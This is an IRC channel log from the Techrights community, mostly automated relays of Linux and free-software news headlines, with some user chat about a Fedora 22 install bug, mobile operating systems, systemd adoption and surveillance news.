schestowitz> "In 2011, according to an Inspector General report, the department wasMar 12 16:37
schestowitz> still struggling to properly implement Federal Information SecurityMar 12 16:37
schestowitz> Management Act (FISMA) and Office of Management and Budget mandatedMar 12 16:37
schestowitz> requirements for information security. Since then, State DepartmentMar 12 16:37
schestowitz> unclassified e-mail has been the target of multiple data breaches,Mar 12 16:37
schestowitz> including one by some reports has been ongoing since last fall.Mar 12 16:37
schestowitz> Mar 12 16:37
schestowitz> --Mar 12 16:37
schestowitz> Mar 12 16:37
schestowitz> Data breaches will happen as long as they still run M$ shit.Mar 12 16:37
schestowitzNow that Gmail is so secure either. He didn't opt for FOSS, just a different 'cloud' vendor.Mar 12 16:37
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__martin__so my fedora 22 install attempt ended before it started xDMar 12 16:56
__martin__https://github.com/rhinstaller/blivet/pull/39 && https://bugzilla.redhat.com/show_bug.cgi?id=1196397#c21Mar 12 16:56
-TechrightsBot-tr/#techrights-github.com | Make sure the device is setup before formatting it (#1196397) by bcl · Pull Request #39 · rhinstaller/blivet · GitHub [ http://ur1.ca/jwcfb ]Mar 12 16:56
-TechrightsBot-tr/#techrights-bugzilla.redhat.com | Bug 1196397 – FormatCreateError: ('invalid device specification', '/dev/mapper/VolGroup00-LogVol00') [ http://ur1.ca/jwcfc ]Mar 12 16:57
__martin__but I wilfully clicked on "I accept my fate" warning ;DMar 12 16:57
__martin__willfullly*Mar 12 16:58
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TweetTuxMachines@tuxmachines     Open source offline map tool for AndroidMar 12 21:45
TweetTuxMachines                 http://t.co/7W4xC9nDUx (www.tuxmachines.org)Mar 12 21:45
TweetTuxMachines........................................  http://ur1.ca/jwdqlMar 12 21:45
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Open source offline map tool for Android | Tux MachinesMar 12 21:45
*TweetTuxMachines @OpenSourceRDT favourited 'Open source offline map tool for Android http://t.co/7W4xC9nDUx'Mar 12 22:24
TweetTuxMachines@tuxmachines     Chakra 2015.03 Officially Released with UEFIMar 12 22:25
TweetTuxMachines                 Support, But No KDE Plasma 5Mar 12 22:25
TweetTuxMachines                 http://t.co/mejdPPEiXM (www.tuxmachines.org)Mar 12 22:25
TweetTuxMachines........................................  http://ur1.ca/jwdxtMar 12 22:25
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Chakra 2015.03 Officially Released with UEFI Support, But No KDE Plasma 5 | Tux MachinesMar 12 22:25
TweetTuxMachines@tuxmachines     Android Leftovers http://t.co/7Kw3ydsEvyMar 12 22:25
TweetTuxMachines                 (www.tuxmachines.org)Mar 12 22:25
TweetTuxMachines........................................  http://ur1.ca/jwdxxMar 12 22:25
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Leftovers | Tux MachinesMar 12 22:25
TweetTuxMachines@tuxmachines     Leftovers: Gaming http://t.co/PE8tf5tBalMar 12 22:34
TweetTuxMachines                 (www.tuxmachines.org)Mar 12 22:34
TweetTuxMachines........................................  http://ur1.ca/jwdznMar 12 22:34
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux MachinesMar 12 22:34
TweetTuxMachines@tuxmachines     today's howtos http://t.co/lMwBp2LeRmMar 12 22:34
TweetTuxMachines                 (www.tuxmachines.org)Mar 12 22:34
TweetTuxMachines........................................  http://ur1.ca/jwdzoMar 12 22:34
-TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux MachinesMar 12 22:34
TweetTuxMachines@tuxmachines     "At the Linux Foundation's new Vault show, it'sMar 12 22:34
TweetTuxMachines                 all about file systems and storage."Mar 12 22:34
TweetTuxMachines                 http://t.co/uxoQZ9zaUm (www.zdnet.com)Mar 12 22:34
TweetTuxMachines........................................  http://ur1.ca/jwdzpMar 12 22:34
-TechrightsBot-tr/#techrights-www.zdnet.com | The future of Linux storage | ZDNetMar 12 22:34
TweetTuxMachines@tuxmachines     Links 12/3/2015: Continued Catchup and NewsMar 12 22:34
TweetTuxMachines                 http://t.co/CZbyngA35G (techrights.org)Mar 12 22:34
TweetTuxMachines........................................  http://ur1.ca/jwdzqMar 12 22:34
-TechrightsBot-tr/#techrights-techrights.org | Links 12/3/2015: Continued Catchup and News | TechrightsMar 12 22:34
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TweetTuxMachines@tuxmachines     VMware expands desktop virtualization to LinuxMar 12 22:55
TweetTuxMachines                 http://t.co/vqwceoxSBX (www.computerworld.com)Mar 12 22:55
TweetTuxMachines........................................  http://ur1.ca/jwe3sMar 12 22:55
-TechrightsBot-tr/#techrights-www.computerworld.com | VMware expands desktop virtualization to Linux | ComputerworldMar 12 22:55
TweetTuxMachines@tuxmachines     Rugged, wireless-enabled COM runs Linux onMar 12 22:56
TweetTuxMachines                 AM437x http://t.co/axN1IbgVQS (linuxgizmos.com)Mar 12 22:56
TweetTuxMachines........................................  http://ur1.ca/jwe3uMar 12 22:56
-TechrightsBot-tr/#techrights-linuxgizmos.com | Rugged, wireless-enabled COM runs Linux on AM437x ·  LinuxGizmos.comMar 12 22:56
TweetTuxMachines@tuxmachines     Chakra 2015.03 Officially Released with UEFIMar 12 22:56
TweetTuxMachines                 Support, But No KDE Plasma 5Mar 12 22:56
TweetTuxMachines                 http://t.co/CcvFY1jjXL (news.softpedia.com)Mar 12 22:56
TweetTuxMachines........................................  http://ur1.ca/jwe3vMar 12 22:56
-TechrightsBot-tr/#techrights-news.softpedia.com | Chakra 2015.03 Officially Released with UEFI Support, But No KDE Plasma 5 - SoftpediaMar 12 22:56
TweetTuxMachines@tuxmachines     New Linux Kernel Vulnerability Patched in AllMar 12 22:57
TweetTuxMachines                 Supported Ubuntu OSes http://t.co/n7xzrGuQIDMar 12 22:57
TweetTuxMachines                 (linux.softpedia.com)Mar 12 22:57
-TechrightsBot-tr/#techrights-linux.softpedia.com | New Linux Kernel Vulnerability Patched in All Supported Ubuntu OSes - SoftpediaMar 12 22:57
TweetTuxMachines........................................  http://ur1.ca/jwe4dMar 12 22:57
TweetTuxMachines@tuxmachines     Automotive bus open sourced with Linux-basedMar 12 22:58
TweetTuxMachines                 design http://t.co/OJGNMrCQ8K (linuxgizmos.com)Mar 12 22:58
TweetTuxMachines........................................  http://ur1.ca/jwe4eMar 12 22:58
-TechrightsBot-tr/#techrights-linuxgizmos.com | Automotive bus open sourced with Linux-based design ·  LinuxGizmos.comMar 12 22:58
TweetTuxMachines@8Cprint         @tuxmachines We liked your stuff... we'd likeMar 12 22:58
TweetTuxMachines                 to interview you for our blog is that ok?Mar 12 22:58
TweetTuxMachines........................................  http://ur1.ca/jwe4fMar 12 22:58
TweetTuxMachines@tuxmachines     Open source offline map toolMar 12 23:06
TweetTuxMachines                 http://t.co/je5jACvIQe (opensource.com)Mar 12 23:06
TweetTuxMachines                 "mAppWidget is available to anyone in need of aMar 12 23:06
TweetTuxMachines                 mobile custom offline map solution."Mar 12 23:06
-TechrightsBot-tr/#techrights-opensource.com | Creating custom offline maps for Android gets a little easier | Opensource.comMar 12 23:06
TweetTuxMachines........................................  http://ur1.ca/jwe5uMar 12 23:06
TweetTuxMachines@tuxmachines     Ubuntu 15.04 (Vivid Vervet) Gets a Newer LinuxMar 12 23:06
TweetTuxMachines                 Kernel 3.19.x http://t.co/fmYwgfhWU2Mar 12 23:06
TweetTuxMachines                 (news.softpedia.com)Mar 12 23:06
-TechrightsBot-tr/#techrights-news.softpedia.com | Ubuntu 15.04 (Vivid Vervet) Gets a Newer Linux Kernel 3.19.x - SoftpediaMar 12 23:06
TweetTuxMachines........................................  http://ur1.ca/jwe5xMar 12 23:06
TweetTuxMachines@tuxmachines     Black Lab Sphere Is a Unique, One of a KindMar 12 23:06
TweetTuxMachines                 Linux Desktop PC http://t.co/HmjL7TNOKWMar 12 23:06
TweetTuxMachines                 (news.softpedia.com)Mar 12 23:06
-TechrightsBot-tr/#techrights-news.softpedia.com | Black Lab Sphere Is a Unique, One of a Kind Linux Desktop PC - SoftpediaMar 12 23:06
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MinceRgnMar 12 23:49
schestowitznnMar 12 23:49
schestowitzbelatedMar 12 23:49
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schestowitzhttps://joindiaspora.com/posts/5694171Mar 13 00:29
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Firefox OS heading for Africa — and the U.S. too http://linuxgizmos.com/firefox-os-heading-for-africa-and-the-u-s-too/ #firefox #firefoxos #mozilla #linuxMar 13 00:29
-TechrightsBot-tr/#techrights--> linuxgizmos.com | Firefox OS heading for Africa -- and the U.S. too ·  LinuxGizmos.com [ http://ur1.ca/jweij ]Mar 13 00:29
schestowitz"I love Firefox, which makes it hard for me to have to choose from Firefox OS to Ubuntu Touch, but Ubuntu is probably the most interesting of the two."Mar 13 00:29
schestowitz"all i need is normal console with linux console programs. it will make smartphone really close to pc."Mar 13 00:29
schestowitz"Mar 13 00:30
schestowitzI choose FF instead of Ubuntu (I dislike the privacy politic by Canonical)Mar 13 00:30
schestowitz@incognito If you want a smartphone really close to pc, Openphoenux this or that, ok it's ugly, tight, old, hasbeen, expensive but you can do all you want with it :) (even multiboot, bash, ssh, apt, midnight commander, compilation, ever languages available in repositories, etc)Mar 13 00:30
schestowitzYou can install some OS based on debian - QTMoko : sourceforge - SHR : Trac Builds - Debian : https://wiki.debian.org/Mobile - Replicant : http://www.replicant.us/Mar 13 00:30
schestowitzYou can hack hardware.Mar 13 00:30
-TechrightsBot-tr/#techrights-wiki.debian.org | Mobile - Debian WikiMar 13 00:30
-TechrightsBot-tr/#techrights-www.replicant.us | ReplicantMar 13 00:30
schestowitzothers informations : http://blog.slyon.de/Mar 13 00:30
-TechrightsBot-tr/#techrights-blog.slyon.de | SlyBlog | Free and Open Source Software and Hardware.Mar 13 00:30
schestowitz"Mar 13 00:30
schestowitzhttps://joindiaspora.com/posts/5717189Mar 13 00:31
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: FREAKing hell: All #Windows versions vulnerable to SSL snoop http://www.theregister.co.uk/2015/03/06/all_microsoft_windows_versions_vulnerable_to_freak/ http://techrights.org/wiki/index.php/Microsoft_and_the_NSAMar 13 00:31
-TechrightsBot-tr/#techrights--> www.theregister.co.uk | FREAKing hell: ALL Windows versions vulnerable to SSL snoop • The Register [ http://ur1.ca/jweit ]Mar 13 00:31
schestowitz"Honestly, how is it possible the M$ security team that allegedly found this and pitched it as an Chrome/Android vulnerability not have checked IE? I can't imagine they will have jobs there for much longer"Mar 13 00:31
-TechrightsBot-tr/#techrights--> techrights.org | Microsoft and the NSA - Techrights [ http://ur1.ca/g1zod ]Mar 13 00:31
schestowitzhttps://joindiaspora.com/posts/5748612Mar 13 00:31
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: #gnu #linux not ready for gamers? Another headline from the 90s... http://www.slashgear.com/steam-for-linux-1000-games-and-counting-12373390/Mar 13 00:31
-TechrightsBot-tr/#techrights--> www.slashgear.com | Steam for Linux: 1,000 games and counting - SlashGear [ http://ur1.ca/jweiv ]Mar 13 00:31
schestowitz"I don't think it was ever that GNULinux wasn't ready for gamers. I think game makers weren't ready to let go of their ancient business plans."Mar 13 00:31
schestowitz"Chris is te real MVP :D Couldn't agree more with you bro... When game makers start to look to GNU/Linux (AAA Studios, Mid range Studios, etc..) They will see that GNU/Linux are ready for everything they want..."Mar 13 00:31
schestowitz"I Agree. And it's look like they mey start to look into it soon :) Valve is doing great stuff about it I think."Mar 13 00:31
schestowitz"If Devs starts to look and develop for GNU/Linux than they have to start to develop under GPL... or, at least, at LEAST, opensource licenses..."Mar 13 00:32
cubexyzlet's not forget Loki GamesMar 13 00:34
cubexyzbut it is a pity that those games were never open sourcedMar 13 00:35
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TweetTuxMachines@tuxmachines     Leftovers: Software http://t.co/wywm8ZBEHhMar 13 01:35
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 01:35
TweetTuxMachines........................................  http://ur1.ca/jwetcMar 13 01:35
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Software | Tux MachinesMar 13 01:35
TweetTuxMachines@tuxmachines     New Linux Kernel Vulnerability Patched in AllMar 13 01:35
TweetTuxMachines                 Supported Ubuntu OSes http://t.co/ndhbrY1K2JMar 13 01:35
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 01:35
TweetTuxMachines........................................  http://ur1.ca/jwetfMar 13 01:35
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Linux Kernel Vulnerability Patched in All Supported Ubuntu OSes | Tux MachinesMar 13 01:35
TweetTuxMachines@tuxmachines     Why We Need Free Digital Hardware DesignsMar 13 01:35
TweetTuxMachines                 http://t.co/IHjT1CH9Pk (www.tuxmachines.org)Mar 13 01:35
TweetTuxMachines........................................  http://ur1.ca/jwetiMar 13 01:35
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Why We Need Free Digital Hardware Designs | Tux MachinesMar 13 01:35
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TweetTuxMachines@tuxmachines     "The Linux Foundation... LMAX Exchange Ltd.,Mar 13 01:56
TweetTuxMachines                 Linutronix GmbH, NI and SerenataFlowers areMar 13 01:56
TweetTuxMachines                 joining the organization."Mar 13 01:56
TweetTuxMachines                 http://t.co/5iQInduwBS (www.marketwired.com)Mar 13 01:56
TweetTuxMachines........................................  http://ur1.ca/jwewvMar 13 01:56
-TechrightsBot-tr/#techrights-www.marketwired.com | New Linux Foundation Members Invest in Linux and Collaborative DevelopmentMar 13 01:56
TweetTuxMachines@tuxmachines     7 surprising facts about LinuxMar 13 01:56
TweetTuxMachines                 http://t.co/6RjrF6Hvti (www.eetindia.co.in)Mar 13 01:56
TweetTuxMachines........................................  http://ur1.ca/jwewwMar 13 01:56
-TechrightsBot-tr/#techrights-www.eetindia.co.in | 7 surprising facts about LinuxMar 13 01:56
TweetTuxMachines@tuxmachines     Interviews with the Ubuntu Community CouncilMar 13 01:56
TweetTuxMachines                 http://t.co/eXkAPyyUsQ (www.tuxmachines.org)Mar 13 01:56
TweetTuxMachines........................................  http://ur1.ca/jwewxMar 13 01:56
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Interviews with the Ubuntu Community Council | Tux MachinesMar 13 01:56
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TweetTuxMachines@tuxmachines     New Linux Foundation Members Invest in LinuxMar 13 02:25
TweetTuxMachines                 and Collaborative DevelopmentMar 13 02:25
TweetTuxMachines                 http://t.co/gOYdL3RpVa (www.tuxmachines.org)Mar 13 02:25
TweetTuxMachines........................................  http://ur1.ca/jwf09Mar 13 02:26
-TechrightsBot-tr/#techrights-www.tuxmachines.org | New Linux Foundation Members Invest in Linux and Collaborative Development | Tux MachinesMar 13 02:26
TweetTuxMachines@tuxmachines     7 surprising facts about LinuxMar 13 02:26
TweetTuxMachines                 http://t.co/zp9TxhqkFo (www.tuxmachines.org)Mar 13 02:26
TweetTuxMachines........................................  http://ur1.ca/jwf0aMar 13 02:26
-TechrightsBot-tr/#techrights-www.tuxmachines.org | 7 surprising facts about Linux | Tux MachinesMar 13 02:26
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cubexyzmsb_, I just ported chemtable to vector linuxMar 13 06:14
cubexyzgnome's equivalent to kalziumMar 13 06:14
schestowitzhttps://twitter.com/jmcest/status/576261785919045632Mar 13 06:47
-TechrightsBot-tr/#techrights-@jmcest: Greenwashed FRA, Greenwashed #surveillance GT @schestowitz: Swedish 'green' party sold out https://t.co/bmqV7dk7T4 https://t.co/zxQ0ZbDDbmMar 13 06:47
-TechrightsBot-tr/#techrights--> translate.google.com | Google TranslateMar 13 06:47
-TechrightsBot-tr/#techrights--> christianengstrom.wordpress.com | Miljöpartiet försöker förklara sitt svek om FRA-lagen | Christian Engström, PiratMar 13 06:47
*TweetTuxMachines @JRepin favourited 'KDE President Lydia Pintscher on the Role of...'Mar 13 07:12
TweetTuxMachines@tuxmachines     Hands on: Google's new $999 Chromebook PixelMar 13 07:41
TweetTuxMachines                 makes big changes under the hoodMar 13 07:41
TweetTuxMachines                 http://t.co/PCn67GMsWX (www.pcworld.com)Mar 13 07:41
TweetTuxMachines........................................  http://ur1.ca/jwgcmMar 13 07:41
-TechrightsBot-tr/#techrights-www.pcworld.com | Hands on: Google's new $999 Chromebook Pixel makes big changes under the hood | PCWorldMar 13 07:41
TweetTuxMachines@tuxmachines     Hands on: Google's new $999 Chromebook PixelMar 13 07:41
TweetTuxMachines                 makes big changes under the hoodMar 13 07:41
TweetTuxMachines                 http://t.co/VWztXW6KX4 (www.tuxmachines.org)Mar 13 07:41
TweetTuxMachines........................................  http://ur1.ca/jwgcnMar 13 07:41
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Hands on: Google's new $999 Chromebook Pixel makes big changes under the hood | Tux MachinesMar 13 07:41
TweetTuxMachines@tuxmachines     Review: New Chromebook Pixel is still lovelyMar 13 07:41
TweetTuxMachines                 hardware with limited appealMar 13 07:41
TweetTuxMachines                 http://t.co/lrhHEer238 (arstechnica.com)Mar 13 07:41
TweetTuxMachines........................................  http://ur1.ca/jwgcoMar 13 07:41
-TechrightsBot-tr/#techrights-arstechnica.com | Review: New Chromebook Pixel is still lovely hardware with limited appeal | Ars TechnicaMar 13 07:41
schestowitz> "switching the system init process to systemd past theMar 13 07:46
schestowitz> Ubuntu Vivid Verbet {sic} feature freeze window."Mar 13 07:46
schestowitz> Mar 13 07:46
schestowitz> http://www.phoronix.com/scan.php?page=news_item&px=Ubuntu-Cloud-Systemd-DefaultMar 13 07:46
-TechrightsBot-tr/#techrights-www.phoronix.com | Ubuntu Cloud Switches Over To Using Systemd By Default - Phoronix [ http://ur1.ca/jwgdh ]Mar 13 07:46
schestowitz> Mar 13 07:46
schestowitz> Bending their own rules to shoehorn in an, at best, unready, untestedMar 13 07:46
schestowitz> product.Mar 13 07:46
schestowitzhttps://www.schneier.com/blog/archives/2015/03/the_democratiza_1.htmlMar 13 07:56
-TechrightsBot-tr/#techrights-www.schneier.com | Schneier on Security: The Democratization of Cyberattack [ http://ur1.ca/ju059 ]Mar 13 07:56
schestowitzrepeat of Motherboard articleMar 13 07:56
schestowitzhttp://blather.michaelwlucas.com/archives/2343Mar 13 08:08
-TechrightsBot-tr/#techrights-blather.michaelwlucas.com | "Tarsnap Mastery" ebook out - blather.michaelwlucas.com [ http://ur1.ca/jwggy ]Mar 13 08:08
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TweetTuxMachines@tuxmachines     Ubuntu just switched to systemd , the projectMar 13 08:39
TweetTuxMachines                 sparking controversy throughout LinuxMar 13 08:39
TweetTuxMachines                 http://t.co/N3VrKivrpF (www.pcworld.com)Mar 13 08:39
TweetTuxMachines........................................  http://ur1.ca/jwgnwMar 13 08:39
-TechrightsBot-tr/#techrights-www.pcworld.com | Ubuntu just switched to systemd, the project sparking controversy throughout Linux | PCWorldMar 13 08:39
TweetTuxMachines@tuxmachines     Age of Wonders III Now In Beta For LinuxMar 13 08:39
TweetTuxMachines                 http://t.co/Yh9lK7Ef5i (www.phoronix.com)Mar 13 08:39
TweetTuxMachines........................................  http://ur1.ca/jwgnxMar 13 08:39
-TechrightsBot-tr/#techrights-www.phoronix.com | Age of Wonders III Now In Beta For Linux - PhoronixMar 13 08:39
TweetTuxMachines@tuxmachines     "release of Age Of Wonders III due in AprilMar 13 08:39
TweetTuxMachines                 recently, and now they have already opened theMar 13 08:39
TweetTuxMachines                 Linux beta!" https://t.co/vFWosQXAxWMar 13 08:39
TweetTuxMachines                 (www.gamingonlinux.com)Mar 13 08:39
TweetTuxMachines........................................  http://ur1.ca/jwgnyMar 13 08:39
-TechrightsBot-tr/#techrights-www.gamingonlinux.com | Age Of Wonders III Now In Open Beta For Linux | GamingOnLinuxMar 13 08:39
TweetTuxMachines@tuxmachines     Run Android 5.0.2 Lollipop on Your PC withMar 13 08:39
TweetTuxMachines                 AndEX Live CD http://t.co/MFCb6bsxooMar 13 08:39
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 08:39
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-TechrightsBot-tr/#techrights-www.tuxmachines.org | Run Android 5.0.2 Lollipop on Your PC with AndEX Live CD | Tux MachinesMar 13 08:39
TweetTuxMachines@tuxmachines     Red Hat powers up partner programme forMar 13 08:39
TweetTuxMachines                 enterprise container ecosystemMar 13 08:39
TweetTuxMachines                 http://t.co/Os6LQt6aiS (www.tuxmachines.org)Mar 13 08:39
TweetTuxMachines........................................  http://ur1.ca/jwgo4Mar 13 08:39
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Red Hat powers up partner programme for enterprise container ecosystem | Tux MachinesMar 13 08:39
TweetTuxMachines@tuxmachines     Introducing Blueberry, a Proper BluetoothMar 13 08:39
TweetTuxMachines                 Configuration Tool for Linux MintMar 13 08:40
TweetTuxMachines                 http://t.co/jzszzpbuZs (www.tuxmachines.org)Mar 13 08:40
TweetTuxMachines........................................  http://ur1.ca/jwgo5Mar 13 08:40
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TweetTuxMachines@tuxmachines     Fedora 22 Alpha Lets Users Test the BetaMar 13 08:56
TweetTuxMachines                 Version of GNOME 3.16 - Screenshot TourMar 13 08:56
TweetTuxMachines                 http://t.co/K6fe8gqeRk (www.tuxmachines.org)Mar 13 08:56
TweetTuxMachines........................................  http://ur1.ca/jwgrcMar 13 08:56
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Fedora 22 Alpha Lets Users Test the Beta Version of GNOME 3.16 - Screenshot Tour | Tux MachinesMar 13 08:56
TweetTuxMachines@tuxmachines     French FOI authority: make tax source codeMar 13 08:56
TweetTuxMachines                 public http://t.co/1XZLYohNpsMar 13 08:56
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TweetTuxMachines........................................  http://ur1.ca/jwgrdMar 13 08:56
-TechrightsBot-tr/#techrights-www.tuxmachines.org | French FOI authority: make tax source code public | Tux MachinesMar 13 08:56
TweetTuxMachines@tuxmachines     XOrg Server 1.17 Makes It Into Ubuntu 15.04Mar 13 08:56
TweetTuxMachines                 http://t.co/9bWWwGPmMH (www.phoronix.com)Mar 13 08:56
TweetTuxMachines........................................  http://ur1.ca/jwgreMar 13 08:56
-TechrightsBot-tr/#techrights-www.phoronix.com | X.Org Server 1.17 Makes It Into Ubuntu 15.04 - PhoronixMar 13 08:57
TweetTuxMachines@tuxmachines     Run Android 5.0.2 Lollipop on Your PC withMar 13 09:00
TweetTuxMachines                 AndEX Live CD http://t.co/2W4Mctwb60Mar 13 09:00
TweetTuxMachines                 (news.softpedia.com)Mar 13 09:00
-TechrightsBot-tr/#techrights-news.softpedia.com | Run Android 5.0.2 Lollipop on Your PC with AndEX Live CD - SoftpediaMar 13 09:00
TweetTuxMachines........................................  http://ur1.ca/jwgs1Mar 13 09:00
TweetTuxMachines@tuxmachines     Red Hat powers up partner programme forMar 13 09:00
TweetTuxMachines                 enterprise container ecosystemMar 13 09:00
TweetTuxMachines                 http://t.co/ptnTJdUf5P (www.v3.co.uk)Mar 13 09:00
TweetTuxMachines                 http://t.co/f2gcQiZYIJ (rhelblog.redhat.com)Mar 13 09:00
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-TechrightsBot-tr/#techrights-www.v3.co.uk | Red Hat powers up partner programme for enterprise container ecosystem - IT News from V3.co.ukMar 13 09:00
-TechrightsBot-tr/#techrights-rhelblog.redhat.com | Shaping the Performance of a Linux Distro: Inside Red Hat Enterprise Linux 7 | Red Hat Enterprise Linux BlogMar 13 09:00
TweetTuxMachines@tuxmachines     7 Leading Applications for KDE PlasmaMar 13 09:00
TweetTuxMachines                 http://t.co/XTcy6kQhAa (www.datamation.com)Mar 13 09:00
TweetTuxMachines........................................  http://ur1.ca/jwgs3Mar 13 09:00
-TechrightsBot-tr/#techrights-www.datamation.com | 7 Leading Applications for KDE Plasma - DatamationMar 13 09:00
TweetTuxMachines@tuxmachines     Lightweight Desktop For Linux: What’s the BestMar 13 09:07
TweetTuxMachines                 One for You? http://t.co/qhgz3z6M0cMar 13 09:07
TweetTuxMachines                 (www.maketecheasier.com)Mar 13 09:07
-TechrightsBot-tr/#techrights-www.maketecheasier.com | Lightweight Desktop For Linux: What's the Best One for You? - Make Tech EasierMar 13 09:07
TweetTuxMachines........................................  http://ur1.ca/jwgtkMar 13 09:07
TweetTuxMachines@tuxmachines     7 Neat Linux Tricks That Newbies Need to Know Mar 13 09:07
TweetTuxMachines                 http://t.co/I5WPkNfxlL (www.makeuseof.com)Mar 13 09:07
TweetTuxMachines........................................  http://ur1.ca/jwgtlMar 13 09:07
-TechrightsBot-tr/#techrights-www.makeuseof.com | 7 Neat Linux Tricks That Newbies Need to KnowMar 13 09:07
TweetTuxMachines@tuxmachines     Fedora 22 Alpha Lets Users Test the BetaMar 13 09:07
TweetTuxMachines                 Version of GNOME 3.16 - Screenshot TourMar 13 09:07
TweetTuxMachines                 http://t.co/ylHeEOJknG (news.softpedia.com)Mar 13 09:07
TweetTuxMachines........................................  http://ur1.ca/jwgtmMar 13 09:07
-TechrightsBot-tr/#techrights-news.softpedia.com | Fedora 22 Alpha Lets Users Test the Beta Version of GNOME 3.16 - Screenshot Tour - SoftpediaMar 13 09:07
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TweetTuxMachines@tuxmachines     Introducing Blueberry, a Proper BluetoothMar 13 09:48
TweetTuxMachines                 Configuration Tool for Linux MintMar 13 09:48
TweetTuxMachines                 http://t.co/dyqHH0NMoN (linux.softpedia.com)Mar 13 09:48
TweetTuxMachines........................................  http://ur1.ca/jwgztMar 13 09:48
-TechrightsBot-tr/#techrights-linux.softpedia.com | Introducing Blueberry, a Proper Bluetooth Configuration Tool for Linux Mint - SoftpediaMar 13 09:48
TweetTuxMachines@tuxmachines     Links 13/2/2015: Chromebook Reviews, Age OfMar 13 09:48
TweetTuxMachines                 Wonders III Beta http://t.co/8oPNJSFlUZMar 13 09:48
TweetTuxMachines                 (techrights.org)Mar 13 09:48
TweetTuxMachines........................................  http://ur1.ca/jwgzuMar 13 09:48
-TechrightsBot-tr/#techrights-techrights.org | Links 13/2/2015: Chromebook Reviews, Age Of Wonders III Beta | TechrightsMar 13 09:48
TweetTuxMachines@tuxmachines     7 Neat Linux Tricks That Newbies Need to KnowMar 13 09:48
TweetTuxMachines                 http://t.co/kxR3vtnoLM (www.tuxmachines.org)Mar 13 09:48
TweetTuxMachines........................................  http://ur1.ca/jwgzwMar 13 09:48
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TweetTuxMachines@tuxmachines     Android Leftovers http://t.co/fMux94p5uKMar 13 10:38
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 10:38
TweetTuxMachines........................................  http://ur1.ca/jwh8pMar 13 10:38
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Android Leftovers | Tux MachinesMar 13 10:38
TweetTuxMachines@tuxmachines     Leftovers: Gaming http://t.co/f35toz7l6oMar 13 10:38
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 10:38
TweetTuxMachines........................................  http://ur1.ca/jwh8qMar 13 10:38
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux MachinesMar 13 10:38
TweetTuxMachines@tuxmachines     today's howtos http://t.co/ynv0sjAR1sMar 13 10:38
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 10:38
TweetTuxMachines........................................  http://ur1.ca/jwh8rMar 13 10:38
-TechrightsBot-tr/#techrights-www.tuxmachines.org | today's howtos | Tux MachinesMar 13 10:38
TweetTuxMachines@tuxmachines     Linux Themes of the day http://t.co/CjyAmj42dwMar 13 10:38
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 10:38
TweetTuxMachines........................................  http://ur1.ca/jwh8sMar 13 10:38
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Linux Themes of the day | Tux MachinesMar 13 10:38
MinceRgeekingsMar 13 11:22
XRevan86MinceR: hiMar 13 11:23
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TweetTuxMachines@tuxmachines     diff -u: What's New in Kernel DevelopmentMar 13 13:14
TweetTuxMachines                  http://t.co/Po9JL8YKzl (www.linuxjournal.com)Mar 13 13:14
TweetTuxMachines........................................  http://ur1.ca/jwi9oMar 13 13:14
-TechrightsBot-tr/#techrights-www.linuxjournal.com | diff -u: What's New in Kernel Development | Linux JournalMar 13 13:14
TweetTuxMachines@tuxmachines     Algorithmia aims to be the open source appMar 13 13:14
TweetTuxMachines                 store for algorithms and APIsMar 13 13:14
TweetTuxMachines                 http://t.co/x6hDgeSYvq (www.tuxmachines.org)Mar 13 13:14
TweetTuxMachines........................................  http://ur1.ca/jwi9rMar 13 13:14
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Algorithmia aims to be the open source app store for algorithms and APIs | Tux MachinesMar 13 13:14
MinceRhttp://www.digitalmunition.me/2015/03/apple-admits-siri-voice-data-is-being-shared-with-third-parties/Mar 13 13:22
-TechrightsBot-tr/#techrights-www.digitalmunition.me | Apple Admits Siri Voice Data is Being shared with Third Parties - DigitalMunition [ http://ur1.ca/jwic5 ]Mar 13 13:22
TweetTuxMachines@tuxmachines     Mozilla Releases Open Source Masche ForensicsMar 13 13:23
TweetTuxMachines                 Tool http://t.co/mufCYpyaCgMar 13 13:23
TweetTuxMachines                 (www.tuxmachines.org)Mar 13 13:23
TweetTuxMachines........................................  http://ur1.ca/jwicaMar 13 13:23
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Mozilla Releases Open Source Masche Forensics Tool | Tux MachinesMar 13 13:23
*TweetTuxMachines @doppenhe favourited 'Algorithmia aims to be the open source app...'Mar 13 13:23
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schestowitzhttps://joindiaspora.com/p/5753168Mar 13 13:47
-TechrightsBot-tr/#techrights-joindiaspora.com | EFF Grabs Two Mor...Mar 13 13:47
schestowitzhttps://joindiaspora.com/posts/5753168Mar 13 13:48
-TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: EFF Grabs Two More Docs From The NSA, Detailing Expanded Post-9/11 Surveillance Powers And Section 702 Justifications https://www.techdirt.com/articles/20150303/09253030197/eff-grabs-two-more-docs-nsa-detailing-expanded-post-911-surveillance-powers-section-702-justifications.shtmlMar 13 13:48
-TechrightsBot-tr/#techrights--> www.techdirt.com | EFF Grabs Two More Docs From The NSA, Detailing Expanded Post-9/11 Surveillance Powers And Section 702 Justifications | Techdirt [ http://ur1.ca/jwii8 ]Mar 13 13:48
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TweetTuxMachines@tuxmachines     President Of Blizzard Responds To The LinuxMar 13 14:19
